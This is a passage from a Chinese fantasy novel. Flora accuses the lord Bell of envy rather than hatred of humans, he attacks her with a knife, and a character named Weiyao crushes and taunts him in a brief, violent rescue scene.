她不回答男人的质问,只是自顾自地说了下去:“贝尔,我一直以为你恨人类,是因为你身在玫瑰园,每日目睹同胞被剪下,目睹人类用条条框框束缚住植物的生长方向,但因为我是被人类娇养起来的,无法共情。” “所以哪怕我一直觉得你偏激,也从未质疑过你,而是试图理解你。但我突然发现自己一直都错了。” 她抬头,对上男人涨红的脸。 “为什么成为领主后没有取消庄园里的玫瑰园,而是保留下来了呢?” “你根本不恨人类,你只是嫉妒,嫉妒得发狂。” “你闭嘴!” 衣着华丽的领主突然暴起,掏出刀冲向弗洛拉。 既然不愿意听从他的指令,那就由他来夺走母株的身份! 弗洛拉根本无处可逃。 “这回没人能救得了你了!” 时间此时好像突然慢了下来。 贝尔眼前的弗洛拉慢动作似的收缩起了瞳孔,他还没来得及欣赏对方惊恐的表情,一块从天而降的巨石就挡住了他的视线。 伴随着一声巨响,无数土块和石头应声砸落,一阵天旋地转,贝尔惨叫一声,背部传来一阵剧痛伴随着骨头破裂的咔擦声——他被人重重踩在了地上。 血液从他的脑袋上涌出,流进眼睛,一片猩红。他勉强抬头,眼前的世界仿佛带上了红色滤镜。 他视线中央的蔚摇蒙着一层红雾,咧着嘴冲他露出了一个残忍而美丽的笑。 她用冰凉的斧面轻佻地拍了拍他的脸。 “呦,说什么悄悄话呢,能不能让我也听听?”